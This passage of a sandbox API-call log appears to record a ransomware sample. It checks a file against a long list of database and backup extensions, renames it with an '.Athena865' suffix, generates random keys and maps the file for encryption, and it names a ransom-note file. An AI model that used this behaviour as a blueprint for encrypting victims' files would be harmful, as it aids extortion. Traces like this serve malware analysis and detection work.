returned="sbdrop.dll.mui" [0097.467] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0097.467] lstrlenW (lpString="Athena865") returned 9 [0097.467] lstrcmpiW (lpString1="p.dll.mui", lpString2="Athena865") returned 1 [0097.467] lstrlenW (lpString=".dll") returned 4 [0097.467] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".dll") returned 1 [0097.467] lstrlenW (lpString=".lnk") returned 4 [0097.467] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".lnk") returned 1 [0097.467] lstrlenW (lpString=".ini") returned 4 [0097.467] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".ini") returned 1 [0097.467] lstrlenW (lpString=".sys") returned 4 [0097.467] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".sys") returned 1 [0097.467] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0097.467] lstrlenW (lpString="bak") returned 3 [0097.467] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0097.467] lstrlenW (lpString="ba_") returned 3 [0097.467] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0097.467] lstrlenW (lpString="dbb") returned 3 [0097.467] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0097.467] lstrlenW (lpString="vmdk") returned 4 [0097.467] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0097.467] lstrlenW (lpString="rar") returned 3 [0097.467] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0097.467] lstrlenW (lpString="zip") returned 3 [0097.467] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0097.467] lstrlenW (lpString="tgz") returned 3 [0097.467] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0097.467] lstrlenW (lpString="vbox") returned 4 [0097.467] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0097.467] lstrlenW (lpString="vdi") returned 3 [0097.467] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0097.467] lstrlenW (lpString="vhd") returned 3 [0097.467] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0097.468] lstrlenW (lpString="vhdx") returned 4 [0097.468] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0097.468] lstrlenW (lpString="avhd") returned 4 [0097.468] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0097.468] lstrlenW (lpString="db") returned 2 [0097.468] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0097.468] lstrlenW (lpString="db2") returned 3 [0097.468] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0097.468] lstrlenW (lpString="db3") returned 3 [0097.468] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0097.468] lstrlenW (lpString="dbf") returned 3 [0097.468] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0097.468] lstrlenW (lpString="mdf") returned 3 [0097.468] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0097.468] lstrlenW (lpString="mdb") returned 3 [0097.468] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0097.468] lstrlenW (lpString="sql") returned 3 [0097.468] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0097.468] lstrlenW (lpString="sqlite") returned 6 [0097.468] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0097.468] lstrlenW (lpString="sqlite3") returned 7 [0097.468] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0097.468] lstrlenW (lpString="sqlitedb") returned 8 [0097.468] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0097.468] lstrlenW (lpString="xml") returned 3 [0097.468] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0097.468] lstrlenW (lpString="$er") returned 3 [0097.468] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0097.468] lstrlenW (lpString="4dd") returned 3 [0097.468] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0097.468] lstrlenW (lpString="4dl") returned 3 [0097.468] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0097.469] lstrlenW (lpString="^^^") returned 3 [0097.469] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0097.469] lstrlenW (lpString="abs") returned 3 [0097.469] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0097.469] lstrlenW (lpString="abx") returned 3 [0097.469] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0097.469] lstrlenW (lpString="accdb") returned 5 [0097.469] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0097.469] lstrlenW (lpString="accdc") returned 5 [0097.469] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0097.469] lstrlenW (lpString="accde") returned 5 [0097.469] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0097.469] lstrlenW (lpString="accdr") returned 5 [0097.469] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0097.469] lstrlenW (lpString="accdt") returned 5 [0097.469] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0097.469] lstrlenW (lpString="accdw") returned 5 [0097.469] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0097.469] lstrlenW (lpString="accft") returned 5 [0097.469] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0097.469] lstrlenW (lpString="adb") returned 3 [0097.469] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0097.469] lstrlenW (lpString="adb") returned 3 [0097.469] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0097.469] lstrlenW (lpString="ade") returned 3 [0097.469] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0097.469] lstrlenW (lpString="adf") returned 3 [0097.469] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0097.469] lstrlenW (lpString="adn") returned 3 [0097.469] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0097.470] lstrlenW (lpString="adp") returned 3 [0097.470] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0097.470] lstrlenW (lpString="alf") returned 3 [0097.470] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0097.470] lstrlenW (lpString="ask") returned 3 [0097.470] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0097.470] lstrlenW (lpString="btr") returned 3 [0097.470] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0097.470] lstrlenW (lpString="cat") returned 3 [0097.470] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0097.470] lstrlenW (lpString="cdb") returned 3 [0097.470] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0097.470] lstrlenW (lpString="ckp") returned 3 [0097.470] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0097.470] lstrlenW (lpString="cma") returned 3 [0097.470] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0097.470] lstrlenW (lpString="cpd") returned 3 [0097.470] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0097.470] lstrlenW (lpString="dacpac") returned 6 [0097.470] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0097.470] lstrlenW (lpString="dad") returned 3 [0097.470] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0097.470] lstrlenW (lpString="dadiagrams") returned 10 [0097.470] lstrcmpiW (lpString1="op.dll.mui", lpString2="dadiagrams") returned 1 [0097.470] lstrlenW (lpString="daschema") returned 8 [0097.470] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0097.470] lstrlenW (lpString="db-journal") returned 10 [0097.470] lstrcmpiW (lpString1="op.dll.mui", lpString2="db-journal") returned 1 [0097.470] lstrlenW (lpString="db-shm") returned 6 [0097.470] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0097.470] lstrlenW (lpString="db-wal") returned 6 [0097.471] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0097.471] lstrlenW (lpString="dbc") returned 3 [0097.471] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0097.471] lstrlenW (lpString="dbs") returned 3 [0097.471] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0097.471] lstrlenW (lpString="dbt") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0097.472] lstrlenW (lpString="dbv") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0097.472] lstrlenW (lpString="dbx") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0097.472] lstrlenW (lpString="dcb") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0097.472] lstrlenW (lpString="dct") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0097.472] lstrlenW (lpString="dcx") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0097.472] lstrlenW (lpString="ddl") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0097.472] lstrlenW (lpString="dlis") returned 4 [0097.472] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0097.472] lstrlenW (lpString="dp1") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0097.472] lstrlenW (lpString="dqy") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0097.472] lstrlenW (lpString="dsk") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0097.472] lstrlenW (lpString="dsn") returned 3 [0097.472] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0097.472] lstrlenW (lpString="dtsx") returned 4 [0097.473] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0097.473] lstrlenW (lpString="dxl") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0097.473] lstrlenW (lpString="eco") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0097.473] lstrlenW (lpString="ecx") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0097.473] lstrlenW (lpString="edb") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0097.473] lstrlenW (lpString="epim") returned 4 [0097.473] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0097.473] lstrlenW (lpString="fcd") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0097.473] lstrlenW (lpString="fdb") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0097.473] lstrlenW (lpString="fic") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0097.473] lstrlenW (lpString="flexolibrary") returned 12 [0097.473] lstrcmpiW (lpString1="drop.dll.mui", lpString2="flexolibrary") returned -1 [0097.473] lstrlenW (lpString="fm5") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0097.473] lstrlenW (lpString="fmp") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0097.473] lstrlenW (lpString="fmp12") returned 5 [0097.473] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0097.473] lstrlenW (lpString="fmpsl") returned 5 [0097.473] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0097.473] lstrlenW (lpString="fol") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0097.473] lstrlenW (lpString="fp3") returned 3 [0097.473] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0097.474] lstrlenW (lpString="fp4") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0097.474] lstrlenW (lpString="fp5") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0097.474] lstrlenW (lpString="fp7") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0097.474] lstrlenW (lpString="fpt") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0097.474] lstrlenW (lpString="frm") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0097.474] lstrlenW (lpString="gdb") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0097.474] lstrlenW (lpString="gdb") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0097.474] lstrlenW (lpString="grdb") returned 4 [0097.474] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0097.474] lstrlenW (lpString="gwi") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0097.474] lstrlenW (lpString="hdb") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0097.474] lstrlenW (lpString="his") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0097.474] lstrlenW (lpString="ib") returned 2 [0097.474] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0097.474] lstrlenW (lpString="idb") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0097.474] lstrlenW (lpString="ihx") returned 3 [0097.474] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0097.474] lstrlenW (lpString="itdb") returned 4 [0097.474] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0097.474] lstrlenW (lpString="itw") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0097.475] lstrlenW (lpString="jet") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0097.475] lstrlenW (lpString="jtx") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0097.475] lstrlenW (lpString="kdb") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0097.475] lstrlenW (lpString="kexi") returned 4 [0097.475] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0097.475] lstrlenW (lpString="kexic") returned 5 [0097.475] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0097.475] lstrlenW (lpString="kexis") returned 5 [0097.475] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0097.475] lstrlenW (lpString="lgc") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0097.475] lstrlenW (lpString="lwx") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0097.475] lstrlenW (lpString="maf") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0097.475] lstrlenW (lpString="maq") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0097.475] lstrlenW (lpString="mar") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0097.475] lstrlenW (lpString="marshal") returned 7 [0097.475] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0097.475] lstrlenW (lpString="mas") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0097.475] lstrlenW (lpString="mav") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0097.475] lstrlenW (lpString="maw") returned 3 [0097.475] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0097.475] lstrlenW (lpString="mdbhtml") returned 7 [0097.476] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0097.476] lstrlenW (lpString="mdn") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0097.476] lstrlenW (lpString="mdt") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0097.476] lstrlenW (lpString="mfd") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0097.476] lstrlenW (lpString="mpd") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0097.476] lstrlenW (lpString="mrg") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0097.476] lstrlenW (lpString="mud") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0097.476] lstrlenW (lpString="mwb") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0097.476] lstrlenW (lpString="myd") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0097.476] lstrlenW (lpString="ndf") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0097.476] lstrlenW (lpString="nnt") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0097.476] lstrlenW (lpString="nrmlib") returned 6 [0097.476] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0097.476] lstrlenW (lpString="ns2") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0097.476] lstrlenW (lpString="ns3") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0097.476] lstrlenW (lpString="ns4") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0097.476] lstrlenW (lpString="nsf") returned 3 [0097.476] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0097.476] lstrlenW (lpString="nv") returned 2 [0097.477] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0097.477] lstrlenW (lpString="nv2") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0097.477] lstrlenW (lpString="nwdb") returned 4 [0097.477] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0097.477] lstrlenW (lpString="nyf") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0097.477] lstrlenW (lpString="odb") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0097.477] lstrlenW (lpString="odb") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0097.477] lstrlenW (lpString="oqy") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0097.477] lstrlenW (lpString="ora") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0097.477] lstrlenW (lpString="orx") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0097.477] lstrlenW (lpString="owc") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0097.477] lstrlenW (lpString="p96") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0097.477] lstrlenW (lpString="p97") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0097.477] lstrlenW (lpString="pan") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0097.477] lstrlenW (lpString="pdb") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0097.477] lstrlenW (lpString="pdm") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0097.477] lstrlenW (lpString="pnz") returned 3 [0097.477] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0097.478] lstrlenW (lpString="qry") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0097.478] lstrlenW (lpString="qvd") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0097.478] lstrlenW (lpString="rbf") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0097.478] lstrlenW (lpString="rctd") returned 4 [0097.478] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0097.478] lstrlenW (lpString="rod") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0097.478] lstrlenW (lpString="rodx") returned 4 [0097.478] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0097.478] lstrlenW (lpString="rpd") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0097.478] lstrlenW (lpString="rsd") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0097.478] lstrlenW (lpString="sas7bdat") returned 8 [0097.478] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0097.478] lstrlenW (lpString="sbf") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0097.478] lstrlenW (lpString="scx") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0097.478] lstrlenW (lpString="sdb") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0097.478] lstrlenW (lpString="sdc") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0097.478] lstrlenW (lpString="sdf") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0097.478] lstrlenW (lpString="sis") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0097.478] lstrlenW (lpString="spq") returned 3 [0097.478] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0097.479] lstrlenW (lpString="te") returned 2 [0097.479] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0097.479] lstrlenW (lpString="teacher") returned 7 [0097.479] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0097.479] lstrlenW (lpString="tmd") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0097.479] lstrlenW (lpString="tps") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0097.479] lstrlenW (lpString="trc") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0097.479] lstrlenW (lpString="trc") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0097.479] lstrlenW (lpString="trm") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0097.479] lstrlenW (lpString="udb") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0097.479] lstrlenW (lpString="udl") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0097.479] lstrlenW (lpString="usr") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0097.479] lstrlenW (lpString="v12") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0097.479] lstrlenW (lpString="vis") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0097.479] lstrlenW (lpString="vpd") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0097.479] lstrlenW (lpString="vvv") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0097.479] lstrlenW (lpString="wdb") returned 3 [0097.479] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0097.479] lstrlenW (lpString="wmdb") returned 4 [0097.480] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0097.480] lstrlenW (lpString="wrk") returned 3 [0097.480] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0097.480] lstrlenW (lpString="xdb") returned 3 [0097.480] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0097.480] lstrlenW (lpString="xld") returned 3 [0097.480] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0097.480] lstrlenW (lpString="xmlff") returned 5 [0097.480] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0097.480] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui.Athena865") returned 69 [0097.480] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us\\sbdrop.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us\\sbdrop.dll.mui.athena865"), dwFlags=0x1) returned 1 [0097.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us\\sbdrop.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0097.481] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0097.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0097.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0097.481] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0097.482] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.482] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.482] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x17c [0097.485] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0097.485] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0097.489] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.489] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0097.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0097.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0097.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0097.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0097.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0097.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.489] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.489] CloseHandle (hObject=0x17c) returned 1 [0097.489] CloseHandle (hObject=0x154) returned 1 [0097.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0097.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0097.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.490] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".") returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="..") 